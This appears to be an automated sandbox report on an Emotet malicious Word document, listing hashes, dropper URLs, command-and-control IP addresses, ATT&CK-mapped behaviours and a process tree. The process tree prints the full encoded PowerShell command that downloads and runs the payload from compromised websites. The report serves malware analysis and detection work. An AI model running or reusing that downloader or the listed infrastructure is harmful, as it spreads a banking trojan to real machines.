emotet | c97fb558bf548cd54d04cce66ec8ee42d76d5a2f085d4731309145cb6f8f598b

Analysis

max time kernel
141s
max time network
156s
platform
windows10_x64
resource
win10
submitted
19/08/2020, 19:00

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General

Target
emotet_e3_c97fb558bf548cd54d04cce66ec8ee42d76d5a2f085d4731309145cb6f8f598b_2020-08-19__185927._doc.doc
Size 192KB
Sample200819-18ptdcscb2
SHA256 c97fb558bf548cd54d04cce66ec8ee42d76d5a2f085d4731309145cb6f8f598b
MD5 c9d36eb6ae4fde7783fa50bafcb46a8f
SHA1 ade498142603319e69a209ae8a3eb8df5d55a000
SHA512 871e0454a1379432ac6bf2b180d353deff8cee33f978f635b8a4ce8c12ce0a4dfd4b7845633a78f3eed9981bf7fcd9dfe61029a7a3ddba14f7bdcb51aa42f361
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://cabanashuasca.com/sys-cache/qkmAGt/
exe.dropper
http://serviceforlongi.com/wp-admin/1zn0p6648274/
exe.dropper
https://brightmega.com/cache/tAhJ/
exe.dropper
http://cabral.adv.br/css/wsF/
exe.dropper
http://www.duhallow.com/wp-content/yvu1atyip7814/
exe.dropper
http://www.emmashop.sk/sitemap/f00nsf09254466/
exe.dropper
http://flabbergast.dk/blogs/jdu6dq57246773/

Extracted

Family

emotet

112.78.142.170:80
178.128.14.92:8080
178.238.232.46:443
185.142.236.163:443
192.210.217.94:8080
192.241.220.183:8080
105.209.235.113:8080
182.187.139.200:8080
188.0.135.237:80
201.213.177.139:80
31.146.61.34:80
202.5.47.71:80
81.17.93.134:80
192.163.221.191:8080
97.104.107.190:80
201.235.10.215:80
181.114.114.203:80
51.38.201.19:7080
46.32.229.152:8080
177.144.130.105:443
188.251.213.180:443
91.83.93.103:443
118.70.15.19:8080
197.83.232.19:80
195.201.56.70:8080
172.105.78.244:8080
177.37.81.212:443
172.96.190.154:8080
177.32.8.85:80
107.161.30.122:8080
175.29.183.2:80
86.57.216.23:80
185.86.148.68:443
198.57.203.63:8080
115.79.195.246:80
177.94.227.143:80
50.116.78.109:8080
181.134.9.162:80
92.24.51.238:80
197.249.6.179:443
87.106.231.60:8080
41.185.29.128:8080
78.189.60.109:443
81.214.253.80:443
77.74.78.80:443
105.213.67.88:80
143.95.101.72:8080
60.125.114.64:443
115.78.11.155:80
71.57.180.213:80
139.59.12.63:8080
203.153.216.178:7080
190.190.15.20:80
37.46.129.215:8080
190.53.144.120:80
203.153.216.182:7080
139.99.157.213:8080
86.98.143.163:80
178.33.167.120:8080
113.161.148.81:80
66.61.94.36:80
74.208.173.91:8080
157.7.164.178:8081
190.212.140.6:80
217.199.160.224:8080
46.105.131.68:8080
185.208.226.142:8080
179.62.238.49:80
179.5.118.12:80
216.75.37.196:8080
181.113.229.139:443
190.164.75.175:80
212.112.113.235:80
5.79.70.250:8080
75.127.14.170:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3880	3500	powersheLL.exe	67

Emotet Payload 5 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1224-18-0x00000000023F0000-0x00000000023FC000-memory.dmp	emotet
behavioral2/memory/1224-18-0x00000000023F0000-0x00000000023FC000-memory.dmp	emotet
behavioral2/memory/1772-21-0x00000000005C0000-0x00000000005CC000-memory.dmp	emotet
behavioral2/memory/1772-21-0x00000000005C0000-0x00000000005CC000-memory.dmp	emotet
behavioral2/memory/1224-25-0x0000000000000000-mapping.dmp	emotet

ServiceHost packer 1 IoCs

Detects ServiceHost packer used for .NET malware

resource	yara_rule
behavioral2/memory/1224-25-0x0000000000000000-mapping.dmp	servicehost

Blacklisted process makes network request 1 IoCs

flow	pid	Process
9	3880	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1224	Pz6kc0.exe
1772	msisip.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msiltcfg\msisip.exe	Pz6kc0.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2060	1224	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2460	WINWORD.EXE
2460	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
3880	powersheLL.exe
3880	powersheLL.exe
3880	powersheLL.exe
1772	msisip.exe
1772	msisip.exe
2060	WerFault.exe
2060	WerFault.exe
2060	WerFault.exe
2060	WerFault.exe
2060	WerFault.exe
2060	WerFault.exe
2060	WerFault.exe
2060	WerFault.exe
2060	WerFault.exe
2060	WerFault.exe
2060	WerFault.exe
2060	WerFault.exe
2060	WerFault.exe
2060	WerFault.exe
2060	WerFault.exe
1772	msisip.exe
1772	msisip.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3880	powersheLL.exe
Token: SeRestorePrivilege	2060	WerFault.exe
Token: SeBackupPrivilege	2060	WerFault.exe
Token: SeDebugPrivilege	2060	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
1224	Pz6kc0.exe
1224	Pz6kc0.exe
1772	msisip.exe
1772	msisip.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3880 wrote to memory of 1224	3880	powersheLL.exe	75
PID 3880 wrote to memory of 1224	3880	powersheLL.exe	75
PID 3880 wrote to memory of 1224	3880	powersheLL.exe	75
PID 1224 wrote to memory of 1772	1224	Pz6kc0.exe	76
PID 1224 wrote to memory of 1772	1224	Pz6kc0.exe	76
PID 1224 wrote to memory of 1772	1224	Pz6kc0.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_c97fb558bf548cd54d04cce66ec8ee42d76d5a2f085d4731309145cb6f8f598b_2020-08-19__185927._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2460

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABFAHIAcgAyADIAMwBrAD0AKAAnAEIAJwArACcANAAwADgAbAAnACsAJwBuADkAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBuAFYAOgB0AEUAbQBwAFwAbwBGAGYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAFUAYABSAEkAYABUAFkAUAByAE8AVABgAE8AYwBPAGwAIgAgAD0AIAAoACcAdABsAHMAMQAnACsAJwAyACcAKwAnACwAIAB0ACcAKwAnAGwAJwArACcAcwAxADEALAAgAHQAJwArACcAbABzACcAKQA7ACQARwA3AHAAegBrAHQAZgAgAD0AIAAoACcAUAB6ADYAawBjACcAKwAnADAAJwApADsAJABXAGkAMAAxAHgANwBrAD0AKAAnAFoAaQBoAHAAagAzACcAKwAnAHYAJwApADsAJABNAHAAYgB2AGQAdAByAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB1AGcAQwBPACcAKwAnAGYAZgBpACcAKwAnAGMAZQAyADAAJwArACcAMQA5ACcAKwAnAHUAZwBDACcAKQAgACAALQBjAHIAZQBwAGwAYQBjAEUAJwB1AGcAQwAnACwAWwBjAGgAYQByAF0AOQAyACkAKwAkAEcANwBwAHoAawB0AGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFMAZgB5AHQAbAB2AHYAPQAoACcAVwAwAGgAJwArACcAZAB2ACcAKwAnAHoANwAnACkAOwAkAE0AOABhAGwAegBkAHUAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQBUAC4AVwBFAGIAYwBsAEkAZQBuAHQAOwAkAEsAegA3ADAAcwBsAF8APQAoACcAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwBjAGEAYgAnACsAJwBhAG4AJwArACcAYQBzAGgAdQBhAHMAYwAnACsAJwBhAC4AJwArACcAYwBvAG0ALwBzAHkAJwArACcAcwAtAGMAJwArACcAYQAnACsAJwBjAGgAZQAvAHEAawBtAEEARwB0AC8AJwArACcAKgBoAHQAdABwADoALwAvAHMAZQByACcAKwAnAHYAaQBjAGUAZgBvAHIAbABvAG4AZwBpACcAKwAnAC4AYwAnACsAJwBvAG0ALwB3AHAAJwArACcALQBhAGQAbQBpAG4ALwAnACsAJwAxAHoAbgAwAHAANgA2ACcAKwAnADQAOAAyADcAJwArACcANAAvACoAaAAnACsAJwB0AHQAcAAnACsAJwBzADoAJwArACcALwAvAGIAJwArACcAcgBpACcAKwAnAGcAaAB0AG0AZQBnAGEALgBjAG8AbQAvAGMAYQAnACsAJwBjAGgAZQAvAHQAQQBoACcAKwAnAEoALwAqAGgAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AYwAnACsAJwBhAGIAcgBhAGwAJwArACcALgBhAGQAJwArACcAdgAuAGIAcgAvAGMAcwBzAC8AdwBzAEYALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AdwB3AHcALgBkAHUAaAAnACsAJwBhAGwAbAAnACsAJwBvAHcAJwArACcALgBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwAnACsAJwBuACcAKwAnAHQAZQBuAHQALwB5AHYAJwArACcAdQAxAGEAdAAnACsAJwB5ACcAKwAnAGkAcAA3ADgAMQA0AC8AKgBoACcAKwAnAHQAdABwADoALwAvAHcAdwB3AC4AZQBtAG0AJwArACcAYQBzAGgAbwBwAC4AJwArACcAcwBrACcAKwAnAC8AcwBpAHQAZQBtAGEAcAAvAGYAMAAwAG4AJwArACcAcwBmADAAOQAyACcAKwAnADUANAA0ADYANgAvACoAJwArACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwAnACsAJwBmAGwAYQAnACsAJwBiAGIAZQByAGcAJwArACcAYQAnACsAJwBzACcAKwAnAHQAJwArACcALgBkACcAKwAnAGsAJwArACcALwBiAGwAJwArACcAbwBnAHMALwBqACcAKwAnAGQAdQA2AGQAcQA1ADcAMgA0ADYAJwArACcANwAnACsAJwA3ADMALwAnACkALgAiAHMAUABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgBlAHcAdAA0AGMAeAA9ACgAJwBVADEAJwArACcAMAB6AGUAOQAnACsAJwB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE4AbgB3AHcAMgBqAGwAIABpAG4AIAAkAEsAegA3ADAAcwBsAF8AKQB7AHQAcgB5AHsAJABNADgAYQBsAHoAZAB1AC4AIgBkAE8AdwBuAEwAYABvAGEAZABgAEYASQBMAEUAIgAoACQATgBuAHcAdwAyAGoAbAAsACAAJABNAHAAYgB2AGQAdAByACkAOwAkAEEAZgBmAGUAcABwAGIAPQAoACcAUQBuADYAeQAnACsAJwB6AGcAcwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQATQBwAGIAdgBkAHQAcgApAC4AIgBsAEUAYABOAGcAVABoACIAIAAtAGcAZQAgADIANgAxADgAMAApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABNAHAAYgB2AGQAdAByACkAOwAkAFcAaABmAGcAYgAzAHgAPQAoACcARQAyAHcAdwAnACsAJwA3ACcAKwAnAHMAOQAnACkAOwBiAHIAZQBhAGsAOwAkAFQAYwBxAHQAMgA5ADQAPQAoACcASAA3AHAAaABfACcAKwAnADUAdgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAbQBqADIAdABrAF8APQAoACcATgAnACsAJwB4AGoAeQAnACsAJwBxAHoAMgAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3880
- C:\Users\Admin\AppData\Local\Temp\Office2019\Pz6kc0.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Pz6kc0.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1224
- - C:\Windows\SysWOW64\msiltcfg\msisip.exe
    "C:\Windows\SysWOW64\msiltcfg\msisip.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1772
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1224 -s 280
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2060

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1224-18-0x00000000023F0000-0x00000000023FC000-memory.dmp

Download

memory/1772-21-0x00000000005C0000-0x00000000005CC000-memory.dmp

Download

memory/2060-26-0x00000000050F0000-0x00000000050F1000-memory.dmp

Download

memory/2060-23-0x00000000048C0000-0x00000000048C1000-memory.dmp

Download

memory/2060-22-0x00000000048C0000-0x00000000048C1000-memory.dmp

Download

memory/2460-6-0x00000251734E2000-0x00000251734E3000-memory.dmp

Download

memory/2460-8-0x00000251734E3000-0x00000251734E8000-memory.dmp

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memory/2460-1-0x0000025173341000-0x0000025173346000-memory.dmp

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memory/2460-2-0x0000025173340000-0x0000025173341000-memory.dmp

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memory/2460-11-0x00000251734F1000-0x00000251734FD000-memory.dmp

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memory/2460-10-0x00000251734F1000-0x00000251734FD000-memory.dmp

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memory/2460-9-0x00000251734E3000-0x00000251734E8000-memory.dmp

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memory/2460-3-0x0000025170F08000-0x0000025170F0D000-memory.dmp

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memory/2460-7-0x00000251734E3000-0x00000251734E8000-memory.dmp

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memory/2460-0-0x00007FFBC8230000-0x00007FFBC88F6000-memory.dmp

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memory/2460-5-0x00000251734E3000-0x00000251734E8000-memory.dmp

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memory/2460-4-0x0000025173341000-0x0000025173346000-memory.dmp

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memory/3880-12-0x00007FFBBB380000-0x00007FFBBBD6C000-memory.dmp

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memory/3880-14-0x00000210B5130000-0x00000210B5131000-memory.dmp

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memory/3880-13-0x000002109CDA0000-0x000002109CDA1000-memory.dmp

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